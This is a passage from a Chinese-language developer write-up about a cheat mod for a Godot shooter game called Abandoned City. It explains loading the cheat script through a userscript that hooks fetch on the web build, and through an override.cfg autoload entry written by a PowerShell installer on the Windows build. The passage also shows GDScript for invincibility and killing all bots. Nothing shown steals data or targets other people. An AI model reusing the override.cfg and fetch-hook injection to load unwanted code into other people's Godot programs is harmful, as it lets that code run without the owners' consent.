<polygon fill="currentColor" stroke="currentColor" points="106.71,-263.99 103.21,-253.99 99.71,-263.99 106.71,-263.99"></polygon>
</g>

<g class="node">

<polygon fill="none" stroke="currentColor" points="202.38,-180 4.03,-180 4.03,-144 202.38,-144 202.38,-180"></polygon>
<text text-anchor="middle" x="103.21" y="-165.3" font-family="sans-serif" font-size="11.00">引擎把預載檔案寫進虛擬檔案系統</text>
<text text-anchor="middle" x="103.21" y="-152.1" font-family="sans-serif" font-size="11.00">index.pck、acmod/cheat.gd、override.cfg</text>
</g>

<g class="edge">

<path fill="none" stroke="currentColor" d="M103.21,-215.7C103.21,-208.41 103.21,-199.73 103.21,-191.54"></path>
<polygon fill="currentColor" stroke="currentColor" points="106.71,-191.62 103.21,-181.62 99.71,-191.62 106.71,-191.62"></polygon>
</g>

<g class="node">

<polygon fill="none" stroke="currentColor" points="177.65,-108 28.76,-108 28.76,-72 177.65,-72 177.65,-108"></polygon>
<text text-anchor="middle" x="103.21" y="-93.3" font-family="sans-serif" font-size="11.00">Godot main：讀 project.binary</text>
<text text-anchor="middle" x="103.21" y="-80.1" font-family="sans-serif" font-size="11.00">再讀 override.cfg</text>
</g>

<g class="edge">

<path fill="none" stroke="currentColor" d="M103.21,-143.7C103.21,-136.41 103.21,-127.73 103.21,-119.54"></path>
<polygon fill="currentColor" stroke="currentColor" points="106.71,-119.62 103.21,-109.62 99.71,-119.62 106.71,-119.62"></polygon>
</g>

<g class="node">

<polygon fill="none" stroke="currentColor" points="190.94,-36 15.47,-36 15.47,0 190.94,0 190.94,-36"></polygon>
<text text-anchor="middle" x="103.21" y="-14.7" font-family="sans-serif" font-size="11.00">autoload：Game、Save、Sfx、Cheat</text>
</g>

<g class="edge">

<path fill="none" stroke="currentColor" d="M103.21,-71.7C103.21,-64.41 103.21,-55.73 103.21,-47.54"></path>
<polygon fill="currentColor" stroke="currentColor" points="106.71,-47.62 103.21,-37.62 99.71,-47.62 106.71,-47.62"></polygon>
</g>
</g>
</svg><figcaption>外掛的載入順序</figcaption></figure>
<p>攔截點選在 <code>index.pck</code> 的 <code>fetch</code>，是因為只有這個時間點同時滿足兩個條件：<code>engine</code> 已經建好，而預載清單還沒寫進檔案系統。</p>
<figure data-rehype-pretty-code-figure=""><pre style="--shiki-light:#0e1116;--shiki-dark:#f0f3f6;--shiki-light-bg:#ffffff;--shiki-dark-bg:#0a0c10" tabindex="0" data-language="js" data-theme="github-light-high-contrast github-dark-high-contrast"><code data-language="js" data-theme="github-light-high-contrast github-dark-high-contrast" style="display: grid;"><span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    window.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">fetch</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> =</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> function</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (</span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757">input</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757">init</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">) {</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">      const</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> url</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> =</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> typeof</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> input </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">===</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF"> 'string'</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> ?</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> input </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">:</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (input </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x26;&#x26;</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> input.url) </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">||</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF"> ''</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">      if</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">/(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">^|</span><span style="--shiki-light:#024C1A;--shiki-light-font-weight:bold;--shiki-dark:#72F088;--shiki-dark-font-weight:bold">\/</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">)index</span><span style="--shiki-light:#024C1A;--shiki-light-font-weight:bold;--shiki-dark:#72F088;--shiki-dark-font-weight:bold">\.</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">pck(</span><span style="--shiki-light:#024C1A;--shiki-light-font-weight:bold;--shiki-dark:#72F088;--shiki-dark-font-weight:bold">\?</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">|</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">#</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">|$</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">)/</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">test</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(url)) {</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">        try</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> {</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">          const</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> engine</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> =</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, eval)(</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">'engine'</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">);   </span><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC">// index.html 裡的 const engine = new Engine(GODOT_CONFIG)</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">          const</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> enc</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> =</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> new</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> TextEncoder</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">();</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">          engine.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">preloadFile</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(enc.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">encode</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">CHEAT</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">).buffer, </span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">'acmod/cheat.gd'</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">);</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">          engine.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">preloadFile</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(enc.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">encode</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">'[autoload]</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">\n\n</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">Cheat="*/acmod/cheat.gd"</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">\n</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">'</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">).buffer, </span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">'override.cfg'</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">);</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">          console.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">log</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">'[廢棄城市外掛] 已排入外掛檔案 v'</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> +</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> VERSION</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">);</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">        } </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">catch</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (e) {</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">          console.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">warn</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">'[廢棄城市外掛] 注入失敗'</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, e);</span></span>
<span data-line=""><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">          notice</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">'作者改了網頁載入方式，外掛這次沒有載入 ('</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> +</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> e.message </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF"> ')。server 會自動檢查修正。'</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">);</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">        }</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">      }</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">      return</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> realFetch</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(input, init);</span></span></code></pre></figure>
<p><a href="https://git.siao.ai/siao/abandoned-city-fps-mod/blob/cccc960/tools/userscript.template.js#L39-L53">在 SiaoHub 檢視 siao/abandoned-city-fps-mod/tools/userscript.template.js L39-53</a></p>
<details><summary>全域的 Engine 拿不到 prototype</summary><p>一開始想直接呼叫 <code>Engine.prototype.preloadFile</code>，結果是 <code>undefined</code>。<code>index.js</code> 裡的全域 <code>Engine</code> 是一層包裝（<code>SafeEngine</code>），每次 <code>new</code> 都在裡面建一個真正的 Engine 實例再回傳。prototype 是建實例時才設定在內部那個建構式上的，外面拿不到。</p><p>改成拿頁面上的實例。<code>index.html</code> 寫的是 <code>const engine = new Engine(GODOT_CONFIG)</code>，頂層 <code>const</code> 不會掛在 <code>window</code> 上，但同一頁的其他腳本可以用全域間接 <code>eval</code> 拿到：<code>(0, eval)('engine')</code>。攔到 <code>index.pck</code> 的時候 <code>startGame()</code> 已經在跑，<code>engine</code> 一定存在。</p></details>
<p>整個外掛最後是一個約 17 KB 的 <code>.user.js</code>，<code>cheat.gd</code> 以 JSON 字串內嵌在裡面，由 <code>tools/make-userjs.py</code> 從樣板產生。作者更新遊戲時不需要重建任何東西。只要遊戲的變數名稱沒變，同一份外掛照樣能用。這套使用者腳本留在外掛 repo 的 tag <code>web-v1.3.0</code>。</p>
<h3 id="3-網頁版下架之後-exe-旁邊的-override-cfg" class="phrased">3. 網頁<wbr>版下架<wbr>之後：<wbr>exe 旁邊<wbr>的 override.cfg</h3>
<p>作者在 <code>8eeb89c</code> 把 gh-pages 整個刪掉，GitHub Pages 變成 404，使用者腳本沒有頁面可以注入。改發行的 Windows exe 是 Godot 匯出的單一執行檔，pck 內嵌在 exe 尾端。</p>
<p>網頁版用到的 <code>override.cfg</code> 在桌面版一樣有效，而且不用搶時機。Godot 4.7.2 的 <code>core/config/project_settings.cpp</code> 在載入內嵌 pck 之後是這樣寫的：</p>
<figure data-rehype-pretty-code-figure=""><pre style="--shiki-light:#0e1116;--shiki-dark:#f0f3f6;--shiki-light-bg:#ffffff;--shiki-dark-bg:#0a0c10" tabindex="0" data-language="cpp" data-theme="github-light-high-contrast github-dark-high-contrast"><code data-language="cpp" data-theme="github-light-high-contrast github-dark-high-contrast" style="display: grid;"><span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">Error err </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> _load_settings_text_or_binary</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"res://project.godot"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"res://project.binary"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">);</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">#ifdef</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> OVERRIDE_ENABLED</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">	if</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (err </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">==</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> OK </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x26;&#x26;</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> !</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">p_ignore_override) {</span></span>
<span data-line=""><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC">		// Load overrides from the PCK and the executable location.</span></span>
<span data-line=""><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC">		// Optional, we don't mind if either fails.</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">		bool</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> disable_override </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> GLOBAL_GET</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"application/config/disable_project_settings_override"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">);</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">		if</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">!</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">disable_override) {</span></span>
<span data-line=""><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">			_load_settings_text</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"res://override.cfg"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">);</span></span>
<span data-line=""><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">			_load_settings_text</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(exec_path.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">get_base_dir</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">().</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">path_join</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"override.cfg"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">));</span></span></code></pre></figure>
<p><code>OVERRIDE_ENABLED</code> 在 <code>SConstruct</code> 裡預設開啟（<code>disable_overrides=False</code>），官方匯出範本都有；作者的 <code>project.godot</code> 也沒有設 <code>disable_project_settings_override</code>。所以只要在 exe 同一個資料夾放一份 <code>override.cfg</code>：</p>
<figure data-rehype-pretty-code-figure=""><pre style="--shiki-light:#0e1116;--shiki-dark:#f0f3f6;--shiki-light-bg:#ffffff;--shiki-dark-bg:#0a0c10" tabindex="0" data-language="ini" data-theme="github-light-high-contrast github-dark-high-contrast"><code data-language="ini" data-theme="github-light-high-contrast github-dark-high-contrast" style="display: grid;"><span data-line=""><span style="--shiki-light:#702C00;--shiki-dark:#FFB757">[autoload]</span></span>
<span data-line=""> </span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">Cheat</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">=</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"*C:/Games/AbandonedCity/acmod/cheat.gd"</span></span></code></pre></figure>
<p>遊戲啟動時就會把外掛當成第一層 autoload 載入。autoload 的路徑可以是檔案系統的絕對路徑，不一定要在 <code>res://</code> 底下。exe 一個位元組都不用改，作者更新時玩家直接換 exe，外掛照樣生效。</p>
<p>安裝交給 <code>windows/install.ps1</code>（<code>install.bat</code> 只是讓人可以雙擊的入口）。它把 <code>cheat.gd</code> 複製到遊戲資料夾的 <code>acmod\</code>，再把 <code>Cheat=</code> 那一行插進 <code>override.cfg</code> 的 <code>[autoload]</code> 區段。原本就有的其他設定會保留，重複安裝只會有一行，移除時也只刪這一行：</p>
<figure data-rehype-pretty-code-figure=""><pre style="--shiki-light:#0e1116;--shiki-dark:#f0f3f6;--shiki-light-bg:#ffffff;--shiki-dark-bg:#0a0c10" tabindex="0" data-language="text" data-theme="github-light-high-contrast github-dark-high-contrast"><code data-language="text" data-theme="github-light-high-contrast github-dark-high-contrast" style="display: grid;"><span data-line=""><span>    # Godot 的路徑用正斜線</span></span>
<span data-line=""><span>    $entry = 'Cheat="*' + ($dst -replace '\\', '/') + '"'</span></span>
<span data-line=""><span>    # 已經有 [autoload] 區段就接在它下面，沒有就加在檔尾</span></span>
<span data-line=""><span>    $out = New-Object System.Collections.Generic.List[string]</span></span>
<span data-line=""><span>    $added = $false</span></span>
<span data-line=""><span>    foreach ($l in $lines) {</span></span>
<span data-line=""><span>        $out.Add($l)</span></span>
<span data-line=""><span>        if (-not $added -and $l.Trim() -eq "[autoload]") {</span></span>
<span data-line=""><span>            $out.Add($entry)</span></span>
<span data-line=""><span>            $added = $true</span></span>
<span data-line=""><span>        }</span></span>
<span data-line=""><span>    }</span></span>
<span data-line=""><span>    if (-not $added) {</span></span>
<span data-line=""><span>        if ($out.Count -gt 0) { $out.Add("") }</span></span>
<span data-line=""><span>        $out.Add("[autoload]")</span></span>
<span data-line=""><span>        $out.Add("")</span></span>
<span data-line=""><span>        $out.Add($entry)</span></span>
<span data-line=""><span>    }</span></span>
<span data-line=""><span>    Write-Override $cfg $out.ToArray()
</span></span></code></pre></figure>
<p><a href="https://git.siao.ai/siao/abandoned-city-fps-mod/blob/f582bd7/windows/install.ps1#L86-L104">在 SiaoHub 檢視 siao/abandoned-city-fps-mod/windows/install.ps1 L86-104</a></p>
<details><summary>Windows 內建的 PowerShell 5.1 與中文路徑</summary><p>玩家多半用 Windows 內建的 PowerShell 5.1，它讀沒有 BOM 的 <code>.ps1</code> 時會用系統字碼頁解讀，中文字串會變成亂碼。所以 <code>install.ps1</code> 存成 UTF-8 BOM，語法也只用 5.1 有的功能（沒有三元運算子、沒有 <code>??</code>）。</p><p>反過來，寫給 Godot 的 <code>override.cfg</code> 不能有 BOM，路徑也要換成正斜線。腳本用 <code>[IO.File]::WriteAllText(..., New-Object Text.UTF8Encoding $false)</code> 寫檔，不用 <code>Out-File</code>。</p><p>路徑含中文和空白（例如 <code>下載\遊戲 資料夾</code>）是測試的固定條件。在 server 上用免安裝版 Wine 執行作者真正的 Windows exe，override.cfg 指向這樣的路徑，exe 照樣印出「外掛 v2.0.0 已載入」。</p></details>
<p>本節來源：<a href="#doc-README"><code>README.md</code></a></p>
<h2 id="5-外掛本體" class="phrased">（5）<wbr>外掛<wbr>本體</h2>
<p><code>cheat.gd</code> 每一幀從遊戲的資料表重新計算數值，不保存「改之前的值」。關掉某個功能，就直接寫回資料表裡的原版數值，不會有還原失敗的狀態。</p>
<h3 id="1-無敵用護甲-不改-take-damage" class="phrased">1. 無敵<wbr>用護甲，<wbr>不改 take_damage</h3>
<p>玩家受傷的公式是 <code>damage * (1.0 - armor)</code>，<code>armor</code> 由裝備決定，上限 60%。外掛把 <code>armor</code> 設成 1.0，傷害就是 0。安全區毒圈也走同一個 <code>take_damage</code>，所以一起擋掉。</p>
<p>GDScript 函式沒辦法從外面換掉，只能改它讀的變數。<code>armor</code> 只在玩家 <code>_ready()</code> 時讀一次裝備，之後不會被遊戲改寫，適合拿來用。每一局開始時，外掛記下這個玩家節點的原始 <code>armor</code>、移動速度和跳躍力，關掉無敵就寫回去。</p>
<figure data-rehype-pretty-code-figure=""><pre style="--shiki-light:#0e1116;--shiki-dark:#f0f3f6;--shiki-light-bg:#ffffff;--shiki-dark-bg:#0a0c10" tabindex="0" data-language="text" data-theme="github-light-high-contrast github-dark-high-contrast"><code data-language="text" data-theme="github-light-high-contrast github-dark-high-contrast" style="display: grid;"><span data-line=""><span>func apply_player(p: CharacterBody3D) -> void:</span></span>
<span data-line=""><span>	if S["god"]:</span></span>
<span data-line=""><span>		p.armor = 1.0</span></span>
<span data-line=""><span>		if not p.is_dead and p.health &#x3C; p.max_health:</span></span>
<span data-line=""><span>			p.health = p.max_health</span></span>
<span data-line=""><span>			p.update_health_ui()</span></span>
<span data-line=""><span>	else:</span></span>
<span data-line=""><span>		p.armor = _base["armor"]</span></span>
<span data-line=""><span>	p.move_speed = _base["speed"] * S["speed"]</span></span>
<span data-line=""><span>	p.jump_velocity = _base["jump"] * S["jump"]</span></span></code></pre></figure>
<p><a href="https://git.siao.ai/siao/abandoned-city-fps-mod/blob/cccc960/mod/cheat.gd#L93-L102">在 SiaoHub 檢視 siao/abandoned-city-fps-mod/mod/cheat.gd L93-102</a></p>
<h3 id="2-武器數值每幀重寫" class="phrased">2. 武器<wbr>數值<wbr>每幀<wbr>重寫</h3>
<p>切槍時，遊戲的 <code>_apply_slot()</code> 會從 <code>WeaponDB.WEAPONS</code> 把傷害、射速、後座力全部重新載入，所以外掛不能只改一次，每一幀都要按倍率重算。</p>
<details><summary>狂暴技能和無限彈藥共用同一個旗標</summary><p>狂暴技能突破後會把 <code>weapon.infinite_ammo</code> 設成 <code>true</code>，結束時設回 <code>false</code>。外掛如果每幀都把它寫成 <code>false</code>，會把技能效果蓋掉。</p><p>所以外掛只在「無限彈藥」開著時寫 <code>true</code>，關掉的那一幀寫一次 <code>false</code>，其餘時間不碰，讓技能自己管。</p></details>
<h3 id="3-大逃殺淘汰要算玩家擊殺" class="phrased">3. 大逃殺<wbr>淘汰<wbr>要算<wbr>玩家<wbr>擊殺</h3>
<p>AI 死亡時，<code>die()</code> 把 <code>last_attacker</code> 交給 <code>bot_died()</code> 判斷是誰的擊殺。沒有攻擊者會被當成「被安全區淘汰」，玩家拿不到喪屍幣。v1.x 是呼叫 <code>take_damage(damage, 玩家)</code> 讓遊戲自己記下攻擊者，淘汰全部對手後剩自己一人，遊戲會自己降空投、結算勝利。</p>
<p>v2.0 開局改成從 240 公尺高空跳傘，AI 也是空降。<code>take_damage()</code> 開頭多了一行：AI 還在 <code>dropping</code> 就直接 <code>return</code>。開局按淘汰，所有 AI 都還在空中，一個都打不死，自動測試就在這裡失敗（淘汰數 13，存活還是 12）。</p>
<p>v2.0.0 改成直接設定 <code>last_attacker</code> 再呼叫 <code>die()</code>，也順便跳過 AI 新增的護甲和護盾。另一個問題是空投：大逃殺管理器在玩家著陸之前，<code>_process()</code> 會提早 <code>return</code>，空投永遠不會開。所以淘汰之後如果玩家還在跳傘，外掛會讓玩家立即著陸。</p>
<figure data-rehype-pretty-code-figure=""><pre style="--shiki-light:#0e1116;--shiki-dark:#f0f3f6;--shiki-light-bg:#ffffff;--shiki-dark-bg:#0a0c10" tabindex="0" data-language="text" data-theme="github-light-high-contrast github-dark-high-contrast"><code data-language="text" data-theme="github-light-high-contrast github-dark-high-contrast" style="display: grid;"><span data-line=""><span>func kill_all() -> int:</span></span>
<span data-line=""><span>	var n := 0</span></span>
<span data-line=""><span>	var p := player()</span></span>
<span data-line=""><span>	for e in get_tree().get_nodes_in_group("enemies"):</span></span>
<span data-line=""><span>		if not e.is_dead:</span></span>
<span data-line=""><span>			e.take_damage(1000000000.0)</span></span>
<span data-line=""><span>			n += 1</span></span>
<span data-line=""><span>	# 大逃殺 AI 直接 die()：跳傘中的 AI 不吃傷害 (take_damage 遇到 dropping 直接 return)，</span></span>
<span data-line=""><span>	# 護甲、護盾也會吸收。last_attacker 設成玩家才會算你的擊殺、拿喪屍幣。</span></span>
<span data-line=""><span>	for b in get_tree().get_nodes_in_group("br_bots"):</span></span>
<span data-line=""><span>		if not b.is_dead:</span></span>
<span data-line=""><span>			b.last_attacker = p</span></span>
<span data-line=""><span>			b.die()</span></span>
<span data-line=""><span>			n += 1</span></span>
<span data-line=""><span>	if n > 0 and Game.is_br():</span></span>
<span data-line=""><span>		land_now()      # 跳傘中奪冠：遊戲要等玩家著陸才處理空投</span></span>
<span data-line=""><span>	return n</span></span>
<span data-line=""> </span>
<span data-line=""> </span>
<span data-line=""><span># 大逃殺開局跳傘：直接落到正下方地面。玩家物理下一幀碰到地面就會照遊戲流程著陸。</span></span>
<span data-line=""><span>func land_now() -> bool:</span></span>
<span data-line=""><span>	var p := player()</span></span>
<span data-line=""><span>	var br := scene_node("BR")</span></span>
<span data-line=""><span>	if p == null or br == null or not bool(p.get("skydiving")):</span></span>
<span data-line=""><span>		return false</span></span>
<span data-line=""><span>	var g: Vector3 = br.ground_point(Vector3(p.global_position.x, 0.0, p.global_position.z), 0.0, 3.0)</span></span>
<span data-line=""><span>	p.global_position = Vector3(g.x, g.y + 0.3, g.z)</span></span>
<span data-line=""><span>	p.velocity = Vector3.ZERO</span></span>
<span data-line=""><span>	p.dive_time = maxf(p.dive_time, 1.0)</span></span>
<span data-line=""><span>	return true</span></span></code></pre></figure>
<p><a href="https://git.siao.ai/siao/abandoned-city-fps-mod/blob/f582bd7/mod/cheat.gd#L259-L288">在 SiaoHub 檢視 siao/abandoned-city-fps-mod/mod/cheat.gd L259-288</a></p>
<p>「立即著陸」不直接發 <code>landed</code> 訊號，而是把玩家移到正下方的地面、清掉速度。下一格玩家的 <code>_skydive_physics()</code> 偵測到 <code>is_on_floor()</code>，就照遊戲自己的流程收傘、還原鏡頭和霧、發出 <code>landed</code>，大逃殺開始計時。</p>
<h3 id="4-鎖回滑鼠要在按鍵當下-網頁版" class="phrased">4. 鎖回<wbr>滑鼠<wbr>要在<wbr>按鍵<wbr>當下<wbr>（網頁<wbr>版）</h3>
<p>這一節只適用於網頁版；Windows 版沒有瀏覽器的限制，<code>Input.mouse_mode</code> 設下去就鎖住了。</p>
<p>遊戲本身只在切換狀態時鎖滑鼠，<code>Game.set_state(PLAYING)</code> 才設 <code>Input.mouse_mode = MOUSE_MODE_CAPTURED</code>。在瀏覽器裡按 Esc，瀏覽器會先放開滑鼠，遊戲卻還停在 PLAYING，沒有路可以鎖回去。</p>
<p>Godot 網頁版鎖滑鼠最後呼叫的是 <code>canvas.requestPointerLock()</code>。瀏覽器只准在按鍵、點擊事件的當下呼叫它，Esc 本身也不算數。Godot 的輸入要排到下一格才處理，這時呼叫有時會被擋掉。</p>
<p>所以鎖定分兩邊做。<code>cheat.gd</code> 用 <code>JavaScriptBridge.eval</code> 把「是否在遊玩中、面板是否展開」寫進 <code>window.__acmodUI</code>。使用者腳本在 <code>keydown</code> 的當下讀這個值，按 <code>Tab</code>（或面板開著時按 <code>`</code> 收合）就直接 <code>requestPointerLock()</code>。點畫面空白處則交給 <code>_unhandled_input</code>：面板和遊戲按鈕會先吃掉點擊，只有點到空白處才會走到這裡，而且放開時才鎖，這一下不會被當成開槍。</p>
<figure data-rehype-pretty-code-figure=""><pre style="--shiki-light:#0e1116;--shiki-dark:#f0f3f6;--shiki-light-bg:#ffffff;--shiki-dark-bg:#0a0c10" tabindex="0" data-language="js" data-theme="github-light-high-contrast github-dark-high-contrast"><code data-language="js" data-theme="github-light-high-contrast github-dark-high-contrast" style="display: grid;"><span data-line=""><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC">    // 鎖回滑鼠：瀏覽器只准在按鍵、點擊事件的當下鎖滑鼠，Godot 要到下一格才處理輸入，有時會被擋，</span></span>
